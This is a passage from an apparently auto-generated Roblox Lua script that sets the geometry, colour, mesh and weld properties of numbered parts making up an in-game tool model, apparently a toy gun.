- Part69.Material = Enum.Material.SmoothPlastic
- Part69.BrickColor = BrickColor.new("Black")
- Part69.Reflectance = 0.20000000298023
- Part69.Rotation = Vector3.new(0, 0, -90)
- Part69.Anchored = true
- Part69.FormFactor = Enum.FormFactor.Custom
- Part69.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part69.CFrame = CFrame.new(34.5593262, 1.67563403, -9.38519192, 0, 1, 0, -0.999999762, 0, 1.49011612e-08, 1.49011612e-08, 0, 0.999999762)
- Part69.BottomSurface = Enum.SurfaceType.Smooth
- Part69.TopSurface = Enum.SurfaceType.Smooth
- Part69.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part69.Position = Vector3.new(34.5593262, 1.67563403, -9.38519192)
- Part69.Orientation = Vector3.new(0, 0, -90)
- Part69.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh70.Parent = Part69
- SpecialMesh70.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
- SpecialMesh70.MeshType = Enum.MeshType.Wedge
- SpecialMesh70.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
- Part71.Parent = Tool0
- Part71.Material = Enum.Material.SmoothPlastic
- Part71.BrickColor = BrickColor.new("Black")
- Part71.Reflectance = 0.20000000298023
- Part71.Rotation = Vector3.new(90, 0, 180)
- Part71.Anchored = true
- Part71.FormFactor = Enum.FormFactor.Custom
- Part71.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part71.CFrame = CFrame.new(34.4481201, 1.67563403, -9.39257813, -1, -0, 0, -0, -1.49011612e-08, -0.999999762, -0, -0.999999762, 1.49011612e-08)
- Part71.BottomSurface = Enum.SurfaceType.Smooth
- Part71.TopSurface = Enum.SurfaceType.Smooth
- Part71.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part71.Position = Vector3.new(34.4481201, 1.67563403, -9.39257813)
- Part71.Orientation = Vector3.new(89.9599991, 0, -180)
- Part71.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh72.Parent = Part71
- BlockMesh72.Scale = Vector3.new(0.0740739629, 0.0740741044, 0.370370358)
- BlockMesh72.Scale = Vector3.new(0.0740739629, 0.0740741044, 0.370370358)
- Part73.Parent = Tool0
- Part73.Material = Enum.Material.SmoothPlastic
- Part73.BrickColor = BrickColor.new("Black")
- Part73.Rotation = Vector3.new(0, 0, -90)
- Part73.Anchored = true
- Part73.FormFactor = Enum.FormFactor.Custom
- Part73.Size = Vector3.new(0.200000003, 0.200000003, 1.34074676)
- Part73.CFrame = CFrame.new(34.6185303, 1.42001903, -9.67034817, 0, 1, -0, -1, 0, 0, 0, 0, 1)
- Part73.BottomSurface = Enum.SurfaceType.Smooth
- Part73.TopSurface = Enum.SurfaceType.Smooth
- Part73.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part73.Position = Vector3.new(34.6185303, 1.42001903, -9.67034817)
- Part73.Orientation = Vector3.new(0, 0, -90)
- Part73.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh74.Parent = Part73
- BlockMesh74.Scale = Vector3.new(0.629630446, 0.0740740746, 1)
- BlockMesh74.Scale = Vector3.new(0.629630446, 0.0740740746, 1)
- Part75.Parent = Tool0
- Part75.Material = Enum.Material.SmoothPlastic
- Part75.BrickColor = BrickColor.new("Black")
- Part75.Reflectance = 0.20000000298023
- Part75.Anchored = true
- Part75.FormFactor = Enum.FormFactor.Custom
- Part75.Size = Vector3.new(0.200000003, 0.200000003, 0.903704822)
- Part75.CFrame = CFrame.new(34.5, 1.34970605, -13.1777344, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part75.BottomSurface = Enum.SurfaceType.Smooth
- Part75.TopSurface = Enum.SurfaceType.Smooth
- Part75.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part75.Position = Vector3.new(34.5, 1.34970605, -13.1777344)
- Part75.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh76.Parent = Part75
- BlockMesh76.Scale = Vector3.new(0.888889134, 0.555555582, 1)
- BlockMesh76.Scale = Vector3.new(0.888889134, 0.555555582, 1)
- Part77.Parent = Tool0
- Part77.Material = Enum.Material.SmoothPlastic
- Part77.BrickColor = BrickColor.new("Black")
- Part77.Reflectance = 0.20000000298023
- Part77.Rotation = Vector3.new(-90, 0, 0)
- Part77.Anchored = true
- Part77.FormFactor = Enum.FormFactor.Custom
- Part77.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part77.CFrame = CFrame.new(34.4963379, 1.67563403, -12.0296021, 1, 0, -0, 0, 0, 1, 0, -1, 0)
- Part77.BottomSurface = Enum.SurfaceType.Smooth
- Part77.TopSurface = Enum.SurfaceType.Smooth
- Part77.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part77.Position = Vector3.new(34.4963379, 1.67563403, -12.0296021)
- Part77.Orientation = Vector3.new(-90, 0, 0)
- Part77.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh78.Parent = Part77
- BlockMesh78.Scale = Vector3.new(0.481481433, 0.629629731, 0.370370358)
- BlockMesh78.Scale = Vector3.new(0.481481433, 0.629629731, 0.370370358)
- ManualWeld79.Name = "Part-to-AimPart Strong Joint"
- ManualWeld79.Parent = Part77
- ManualWeld79.C0 = CFrame.new(-0.100000001, -0.100000001, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- ManualWeld79.C1 = CFrame.new(0.0999984741, -0.0962898731, -0.251852036, -0.999999702, -4.8854865e-08, 5.96046448e-08, 5.96046448e-08, 1.34268845e-08, 0.999999702, -4.88548757e-08, 1, -5.71382657e-08)
- ManualWeld79.Part0 = Part77
- ManualWeld79.Part1 = Part237
- Part80.Parent = Tool0
- Part80.Material = Enum.Material.SmoothPlastic
- Part80.BrickColor = BrickColor.new("Black")
- Part80.Rotation = Vector3.new(0, 0, -135)
- Part80.Anchored = true
- Part80.FormFactor = Enum.FormFactor.Custom
- Part80.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part80.CFrame = CFrame.new(34.5277061, 1.87509596, -11.2036743, -0.70710665, 0.70710659, 0, -0.70710659, -0.70710665, 0, -0, 0, 1)
- Part80.BottomSurface = Enum.SurfaceType.Smooth
- Part80.TopSurface = Enum.SurfaceType.Smooth
- Part80.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part80.Position = Vector3.new(34.5277061, 1.87509596, -11.2036743)
- Part80.Orientation = Vector3.new(0, 0, -135)
- Part80.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh81.Parent = Part80
- BlockMesh81.Scale = Vector3.new(0.111111112, 0.0370370373, 0.0370370373)
- BlockMesh81.Scale = Vector3.new(0.111111112, 0.0370370373, 0.0370370373)
- Part82.Parent = Tool0
- Part82.Material = Enum.Material.SmoothPlastic
- Part82.BrickColor = BrickColor.new("Dark stone grey")
- Part82.Rotation = Vector3.new(-6.46000004, 0, 0)
- Part82.Anchored = true
- Part82.FormFactor = Enum.FormFactor.Custom
- Part82.Size = Vector3.new(0.200000003, 1.08148146, 0.414814621)
- Part82.CFrame = CFrame.new(34.5074463, 0.560645998, -11.1689396, 1, 0, 0, 0, 0.993658066, 0.11244528, 0, -0.11244528, 0.993658066)
- Part82.BottomSurface = Enum.SurfaceType.Smooth
- Part82.TopSurface = Enum.SurfaceType.Smooth
- Part82.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part82.Position = Vector3.new(34.5074463, 0.560645998, -11.1689396)
- Part82.Orientation = Vector3.new(-6.46000004, 0, 0)
- Part82.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh83.Parent = Part82
- BlockMesh83.Scale = Vector3.new(0.740740716, 1, 1)
- BlockMesh83.Scale = Vector3.new(0.740740716, 1, 1)
- Part84.Parent = Tool0
- Part84.BrickColor = BrickColor.new("Black")
- Part84.Reflectance = 0.20000000298023
- Part84.Anchored = true
- Part84.FormFactor = Enum.FormFactor.Custom
- Part84.Size = Vector3.new(0.207407534, 0.200000003, 1.56296682)
- Part84.CFrame = CFrame.new(34.5, 1.19785094, -11.7888784, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part84.BottomSurface = Enum.SurfaceType.Smooth
- Part84.TopSurface = Enum.SurfaceType.Smooth
- Part84.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part84.Position = Vector3.new(34.5, 1.19785094, -11.7888784)
- Part84.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh85.Parent = Part84
- BlockMesh85.Scale = Vector3.new(1, 0.703703225, 1)
- BlockMesh85.Scale = Vector3.new(1, 0.703703225, 1)
- Part86.Parent = Tool0
- Part86.Material = Enum.Material.SmoothPlastic
- Part86.BrickColor = BrickColor.new("Black")
- Part86.Reflectance = 0.20000000298023
- Part86.Anchored = true
- Part86.FormFactor = Enum.FormFactor.Custom
- Part86.Size = Vector3.new(0.200000003, 0.200000003, 0.447407693)
- Part86.CFrame = CFrame.new(34.5037842, 0.720070004, -11.7244263, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part86.BottomSurface = Enum.SurfaceType.Smooth
- Part86.TopSurface = Enum.SurfaceType.Smooth
- Part86.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part86.Position = Vector3.new(34.5037842, 0.720070004, -11.7244263)
- Part86.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh87.Parent = Part86
- BlockMesh87.Scale = Vector3.new(0.555555701, 0.222222224, 1)
- BlockMesh87.Scale = Vector3.new(0.555555701, 0.222222224, 1)
- Part88.Parent = Tool0
- Part88.Material = Enum.Material.SmoothPlastic
- Part88.BrickColor = BrickColor.new("Black")
- Part88.Reflectance = 0.20000000298023
- Part88.Rotation = Vector3.new(-180, 0, 0)
- Part88.Anchored = true
- Part88.FormFactor = Enum.FormFactor.Custom
- Part88.Size = Vector3.new(0.207407445, 0.200000003, 0.459259093)
- Part88.CFrame = CFrame.new(34.5, 1.06821096, -11.2370005, 1, 0, 0, 0, -1, 0, 0, 0, -1)
- Part88.BottomSurface = Enum.SurfaceType.Smooth
- Part88.TopSurface = Enum.SurfaceType.Smooth
- Part88.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part88.Position = Vector3.new(34.5, 1.06821096, -11.2370005)
- Part88.Orientation = Vector3.new(0, 180, 180)
- Part88.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh89.Parent = Part88
- SpecialMesh89.Scale = Vector3.new(1, 0.5925892, 1)
- SpecialMesh89.MeshType = Enum.MeshType.Wedge
- SpecialMesh89.Scale = Vector3.new(1, 0.5925892, 1)
- Part90.Parent = Tool0
- Part90.Material = Enum.Material.SmoothPlastic
- Part90.BrickColor = BrickColor.new("Black")
- Part90.Reflectance = 0.20000000298023
- Part90.Rotation = Vector3.new(0, 0, 90)
- Part90.Anchored = true
- Part90.FormFactor = Enum.FormFactor.Custom
- Part90.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part90.CFrame = CFrame.new(34.5444336, 1.67563403, -9.34069824, 0, -1, 0, 0.999999762, -0, 1.49011612e-08, -1.49011612e-08, -0, 0.999999762)
- Part90.BottomSurface = Enum.SurfaceType.Smooth
- Part90.TopSurface = Enum.SurfaceType.Smooth
- Part90.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part90.Position = Vector3.new(34.5444336, 1.67563403, -9.34069824)
- Part90.Orientation = Vector3.new(0, 0, 90)
- Part90.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh91.Parent = Part90
- SpecialMesh91.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
- SpecialMesh91.MeshType = Enum.MeshType.Wedge
- SpecialMesh91.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
- Part92.Parent = Tool0
- Part92.BrickColor = BrickColor.new("Black")
- Part92.Reflectance = 0.20000000298023
- Part92.Rotation = Vector3.new(-180, 0, -180)
- Part92.Anchored = true
- Part92.FormFactor = Enum.FormFactor.Custom
- Part92.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part92.CFrame = CFrame.new(34.4963379, 1.67563403, -9.10735989, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- Part92.BottomSurface = Enum.SurfaceType.Smooth
- Part92.TopSurface = Enum.SurfaceType.Smooth
- Part92.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part92.Position = Vector3.new(34.4963379, 1.67563403, -9.10735989)
- Part92.Orientation = Vector3.new(0, 180, 0)
- Part92.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh93.Parent = Part92
- SpecialMesh93.Scale = Vector3.new(0.481481612, 0.370366931, 0.555555344)
- SpecialMesh93.MeshType = Enum.MeshType.Wedge
- SpecialMesh93.Scale = Vector3.new(0.481481612, 0.370366931, 0.555555344)
- Part94.Parent = Tool0
- Part94.Material = Enum.Material.SmoothPlastic
- Part94.BrickColor = BrickColor.new("Black")
- Part94.Anchored = true
- Part94.FormFactor = Enum.FormFactor.Custom
- Part94.Size = Vector3.new(0.200000003, 0.200000003, 3.24444962)
- Part94.CFrame = CFrame.new(34.4963379, 1.61630905, -10.6221924, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part94.BottomSurface = Enum.SurfaceType.Smooth
- Part94.TopSurface = Enum.SurfaceType.Smooth
- Part94.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part94.Position = Vector3.new(34.4963379, 1.61630905, -10.6221924)
- Part94.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh95.Parent = Part94
- BlockMesh95.Scale = Vector3.new(0.555556417, 0.0740740746, 1)
- BlockMesh95.Scale = Vector3.new(0.555556417, 0.0740740746, 1)
- Part96.Parent = Tool0
- Part96.Material = Enum.Material.SmoothPlastic
- Part96.BrickColor = BrickColor.new("Black")
- Part96.Rotation = Vector3.new(-90, 0, 180)
- Part96.Anchored = true
- Part96.Size = Vector3.new(1, 1.20000005, 1)
- Part96.CFrame = CFrame.new(34.4979248, 2.04453301, -11.0795898, -1, -2.98023224e-08, -4.05622691e-09, -5.58793678e-09, 0, 1, 2.98023224e-08, 1.00000012, 9.34504296e-09)
- Part96.BottomSurface = Enum.SurfaceType.Smooth
- Part96.TopSurface = Enum.SurfaceType.Smooth
- Part96.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part96.Position = Vector3.new(34.4979248, 2.04453301, -11.0795898)
- Part96.Orientation = Vector3.new(-90, 180, 0)
- Part96.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh97.Parent = Part96
- CylinderMesh97.Scale = Vector3.new(0.0148148155, 0.00370370364, 0.0148148155)
- CylinderMesh97.Scale = Vector3.new(0.0148148155, 0.00370370364, 0.0148148155)
- Part98.Parent = Tool0
- Part98.Material = Enum.Material.SmoothPlastic
- Part98.BrickColor = BrickColor.new("Black")
- Part98.Reflectance = 0.20000000298023
- Part98.Anchored = true
- Part98.FormFactor = Enum.FormFactor.Custom
- Part98.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part98.CFrame = CFrame.new(34.6074219, 1.17929804, -11.4370117, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part98.BottomSurface = Enum.SurfaceType.Smooth
- Part98.TopSurface = Enum.SurfaceType.Smooth
- Part98.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part98.Position = Vector3.new(34.6074219, 1.17929804, -11.4370117)
- Part98.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh99.Parent = Part98
- BlockMesh99.Scale = Vector3.new(0.0370370373, 0.22222206, 0.518538475)
- BlockMesh99.Scale = Vector3.new(0.0370370373, 0.22222206, 0.518538475)
- Part100.Parent = Tool0
- Part100.Material = Enum.Material.SmoothPlastic
- Part100.BrickColor = BrickColor.new("Black")
- Part100.Reflectance = 0.20000000298023
- Part100.Rotation = Vector3.new(0, 0, -90)
- Part100.Anchored = true
- Part100.FormFactor = Enum.FormFactor.Custom
- Part100.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part100.CFrame = CFrame.new(34.4630127, 1.67563403, -9.31847382, 0, 1, 0, -0.999999762, 0, 1.49011612e-08, 1.49011612e-08, 0, 0.999999762)
- Part100.BottomSurface = Enum.SurfaceType.Smooth
- Part100.TopSurface = Enum.SurfaceType.Smooth
- Part100.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part100.Position = Vector3.new(34.4630127, 1.67563403, -9.31847382)
- Part100.Orientation = Vector3.new(0, 0, -90)
- Part100.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh101.Parent = Part100
- SpecialMesh101.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
- SpecialMesh101.MeshType = Enum.MeshType.Wedge
- SpecialMesh101.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
- Part102.Parent = Tool0
- Part102.Material = Enum.Material.SmoothPlastic
- Part102.BrickColor = BrickColor.new("Black")
- Part102.Anchored = true
- Part102.FormFactor = Enum.FormFactor.Custom
- Part102.Size = Vector3.new(0.200000003, 0.200000003, 0.481481224)
- Part102.CFrame = CFrame.new(34.4963379, 1.64218795, -11.2851563, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part102.BottomSurface = Enum.SurfaceType.Smooth
- Part102.TopSurface = Enum.SurfaceType.Smooth
- Part102.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part102.Position = Vector3.new(34.4963379, 1.64218795, -11.2851563)
- Part102.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh103.Parent = Part102
- BlockMesh103.Scale = Vector3.new(0.851851761, 0.185185179, 1)
- BlockMesh103.Scale = Vector3.new(0.851851761, 0.185185179, 1)
- Part104.Parent = Tool0
- Part104.Material = Enum.Material.SmoothPlastic
- Part104.BrickColor = BrickColor.new("Really black")
- Part104.Rotation = Vector3.new(0, 0, -90)
- Part104.Anchored = true
- Part104.FormFactor = Enum.FormFactor.Custom
- Part104.Size = Vector3.new(0.200000003, 0.200000003, 1.34074688)
- Part104.CFrame = CFrame.new(34.6037598, 1.42001903, -9.67034817, -0, 1, 0, -1, 0, 4.37113883e-08, -4.37113883e-08, 0, 1)
- Part104.BottomSurface = Enum.SurfaceType.Smooth
- Part104.TopSurface = Enum.SurfaceType.Smooth
- Part104.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part104.Position = Vector3.new(34.6037598, 1.42001903, -9.67034817)
- Part104.Orientation = Vector3.new(0, 0, -90)
- Part104.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh105.Parent = Part104
- BlockMesh105.Scale = Vector3.new(0.555556417, 0.0740740746, 1)
- BlockMesh105.Scale = Vector3.new(0.555556417, 0.0740740746, 1)
- Part106.Parent = Tool0
- Part106.Material = Enum.Material.SmoothPlastic
- Part106.BrickColor = BrickColor.new("Black")
- Part106.Reflectance = 0.20000000298023
- Part106.Rotation = Vector3.new(180, 0, -90)
- Part106.Anchored = true
- Part106.FormFactor = Enum.FormFactor.Custom
- Part106.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part106.CFrame = CFrame.new(34.5593262, 1.67563403, -9.31847382, 1.91068547e-15, 1, -4.37113918e-08, 0.999999762, -2.66453526e-15, -1.49011612e-08, -1.49011612e-08, -4.37113883e-08, -0.999999762)
- Part106.BottomSurface = Enum.SurfaceType.Smooth
- Part106.TopSurface = Enum.SurfaceType.Smooth
- Part106.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part106.Position = Vector3.new(34.5593262, 1.67563403, -9.31847382)
- Part106.Orientation = Vector3.new(0, -180, 90)
- Part106.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh107.Parent = Part106
- SpecialMesh107.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
- SpecialMesh107.MeshType = Enum.MeshType.Wedge
- SpecialMesh107.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
- Part108.Parent = Tool0
- Part108.Material = Enum.Material.SmoothPlastic
- Part108.BrickColor = BrickColor.new("Really black")
- Part108.Reflectance = 0.20000000298023
- Part108.Rotation = Vector3.new(-120, 0, 0)
- Part108.Anchored = true
- Part108.FormFactor = Enum.FormFactor.Custom
- Part108.Size = Vector3.new(0.200000003, 0.200000003, 0.422221959)
- Part108.CFrame = CFrame.new(34.5148926, 1.035743, -10.7024536, 1, 8.92672887e-08, -3.11594022e-07, 3.14481952e-07, -0.5, 0.866025388, -7.84892933e-08, -0.866025388, -0.5)
- Part108.BottomSurface = Enum.SurfaceType.Smooth
- Part108.TopSurface = Enum.SurfaceType.Smooth
- Part108.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part108.Position = Vector3.new(34.5148926, 1.035743, -10.7024536)
- Part108.Orientation = Vector3.new(-60, -180, 180)
- Part108.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh109.Parent = Part108
- BlockMesh109.Scale = Vector3.new(0.888889134, 0.444444567, 1)
- BlockMesh109.Scale = Vector3.new(0.888889134, 0.444444567, 1)
- Part110.Parent = Tool0
- Part110.Material = Enum.Material.SmoothPlastic
- Part110.BrickColor = BrickColor.new("Black")
- Part110.Reflectance = 0.20000000298023
- Part110.Rotation = Vector3.new(-90, 0, 0)
- Part110.Anchored = true
- Part110.FormFactor = Enum.FormFactor.Custom
- Part110.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part110.CFrame = CFrame.new(34.5, 0.764503002, -13.585144, 1, 0, -0, 0, 0, 1, 0, -1, 0)
- Part110.BottomSurface = Enum.SurfaceType.Smooth
- Part110.TopSurface = Enum.SurfaceType.Smooth
- Part110.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part110.Position = Vector3.new(34.5, 0.764503002, -13.585144)
- Part110.Orientation = Vector3.new(-90, 0, 0)
- Part110.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh111.Parent = Part110
- BlockMesh111.Scale = Vector3.new(0.888889134, 0.444444567, 0.629628956)
- BlockMesh111.Scale = Vector3.new(0.888889134, 0.444444567, 0.629628956)
- Part112.Parent = Tool0
- Part112.Material = Enum.Material.SmoothPlastic
- Part112.BrickColor = BrickColor.new("Black")
- Part112.Reflectance = 0.20000000298023
- Part112.Anchored = true
- Part112.FormFactor = Enum.FormFactor.Custom
- Part112.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part112.CFrame = CFrame.new(34.4963379, 1.60898495, -11.859252, 1, 0, 4.37113883e-08, 0, 1, 0, -4.37113883e-08, 0, 1)
- Part112.BottomSurface = Enum.SurfaceType.Smooth
- Part112.TopSurface = Enum.SurfaceType.Smooth
- Part112.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part112.Position = Vector3.new(34.4963379, 1.60898495, -11.859252)
- Part112.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh113.Parent = Part112
- BlockMesh113.Scale = Vector3.new(0.481481433, 0.296296328, 0.666666746)
- BlockMesh113.Scale = Vector3.new(0.481481433, 0.296296328, 0.666666746)
- Part114.Parent = Tool0
- Part114.Material = Enum.Material.SmoothPlastic
- Part114.BrickColor = BrickColor.new("Black")
- Part114.Reflectance = 0.20000000298023
- Part114.Anchored = true
- Part114.FormFactor = Enum.FormFactor.Custom
- Part114.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part114.CFrame = CFrame.new(34.6148682, 1.44223595, -10.6295776, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part114.BottomSurface = Enum.SurfaceType.Smooth
- Part114.TopSurface = Enum.SurfaceType.Smooth
- Part114.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part114.Position = Vector3.new(34.6148682, 1.44223595, -10.6295776)
- Part114.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh115.Parent = Part114
- BlockMesh115.Scale = Vector3.new(0.111111112, 0.0370370373, 0.370390445)
- BlockMesh115.Scale = Vector3.new(0.111111112, 0.0370370373, 0.370390445)
- Part116.Parent = Tool0
- Part116.Material = Enum.Material.SmoothPlastic
- Part116.BrickColor = BrickColor.new("Black")
- Part116.Reflectance = 0.20000000298023
- Part116.Rotation = Vector3.new(-90, 0, 0)
- Part116.Anchored = true
- Part116.FormFactor = Enum.FormFactor.Custom
- Part116.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part116.CFrame = CFrame.new(34.4963379, 1.67563403, -9.32592583, 1, -0, 0, 0, -1.49011612e-08, 0.999999762, 0, -0.999999762, -1.49011612e-08)
- Part116.BottomSurface = Enum.SurfaceType.Smooth
- Part116.TopSurface = Enum.SurfaceType.Smooth
- Part116.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part116.Position = Vector3.new(34.4963379, 1.67563403, -9.32592583)
- Part116.Orientation = Vector3.new(-89.9599991, 180, 180)
- Part116.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh117.Parent = Part116
- BlockMesh117.Scale = Vector3.new(0.0777777806, 0.222222239, 0.370370358)
- BlockMesh117.Scale = Vector3.new(0.0777777806, 0.222222239, 0.370370358)
- Part118.Parent = Tool0
- Part118.Material = Enum.Material.SmoothPlastic
- Part118.BrickColor = BrickColor.new("Black")
- Part118.Reflectance = 0.20000000298023
- Part118.Anchored = true
- Part118.FormFactor = Enum.FormFactor.Custom
- Part118.Size = Vector3.new(0.200000003, 0.311111033, 0.200000003)
- Part118.CFrame = CFrame.new(34.5037842, 0.853371024, -11.4851685, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part118.BottomSurface = Enum.SurfaceType.Smooth
- Part118.TopSurface = Enum.SurfaceType.Smooth
- Part118.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part118.Position = Vector3.new(34.5037842, 0.853371024, -11.4851685)
- Part118.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh119.Parent = Part118
- BlockMesh119.Scale = Vector3.new(0.555556238, 1, 0.185199708)
- BlockMesh119.Scale = Vector3.new(0.555556238, 1, 0.185199708)
- Part120.Parent = Tool0
- Part120.Material = Enum.Material.SmoothPlastic
- Part120.BrickColor = BrickColor.new("Really black")
- Part120.Reflectance = 0.20000000298023
- Part120.Anchored = true
- Part120.FormFactor = Enum.FormFactor.Custom
- Part120.Size = Vector3.new(0.207407534, 0.200000003, 0.400004059)
- Part120.CFrame = CFrame.new(34.5, 1.30527401, -10.0814819, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part120.BottomSurface = Enum.SurfaceType.Smooth
- Part120.TopSurface = Enum.SurfaceType.Smooth
- Part120.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part120.Position = Vector3.new(34.5, 1.30527401, -10.0814819)
- Part120.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh121.Parent = Part120
- BlockMesh121.Scale = Vector3.new(1, 0.370369822, 1)
- BlockMesh121.Scale = Vector3.new(1, 0.370369822, 1)
- Part122.Parent = Tool0
- Part122.Material = Enum.Material.SmoothPlastic
- Part122.BrickColor = BrickColor.new("Black")
- Part122.Reflectance = 0.20000000298023
- Part122.Anchored = true
- Part122.FormFactor = Enum.FormFactor.Custom
- Part122.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part122.CFrame = CFrame.new(34.5999756, 1.40903294, -10.6370239, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part122.BottomSurface = Enum.SurfaceType.Smooth
- Part122.TopSurface = Enum.SurfaceType.Smooth
- Part122.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part122.Position = Vector3.new(34.5999756, 1.40903294, -10.6370239)
- Part122.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh123.Parent = Part122
- BlockMesh123.Scale = Vector3.new(0.0370370373, 0.370370209, 0.444464564)
- BlockMesh123.Scale = Vector3.new(0.0370370373, 0.370370209, 0.444464564)
- Part124.Parent = Tool0
- Part124.Material = Enum.Material.SmoothPlastic
- Part124.BrickColor = BrickColor.new("Black")
- Part124.Anchored = true
- Part124.FormFactor = Enum.FormFactor.Custom
- Part124.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part124.CFrame = CFrame.new(34.4963379, 1.90903294, -11.1999435, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part124.BottomSurface = Enum.SurfaceType.Smooth
- Part124.TopSurface = Enum.SurfaceType.Smooth
- Part124.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part124.Position = Vector3.new(34.4963379, 1.90903294, -11.1999435)
- Part124.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh125.Parent = Part124
- BlockMesh125.Scale = Vector3.new(0.0370370373, 0.0370370373, 0.0740740821)
- BlockMesh125.Scale = Vector3.new(0.0370370373, 0.0370370373, 0.0740740821)
- Part126.Parent = Tool0
- Part126.Material = Enum.Material.SmoothPlastic
- Part126.BrickColor = BrickColor.new("Black")
- Part126.Anchored = true
- Part126.FormFactor = Enum.FormFactor.Custom
- Part126.Size = Vector3.new(0.200000003, 0.340740651, 0.200000003)
- Part126.CFrame = CFrame.new(34.4963379, 1.86826003, -11.5814819, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part126.BottomSurface = Enum.SurfaceType.Smooth
- Part126.TopSurface = Enum.SurfaceType.Smooth
- Part126.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part126.Position = Vector3.new(34.4963379, 1.86826003, -11.5814819)
- Part126.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh127.Parent = Part126
- SpecialMesh127.MeshId = "http://www.roblox.com/asset/?id=3270017"
- SpecialMesh127.Scale = Vector3.new(0.259259254, 0.259259254, 0.259259254)
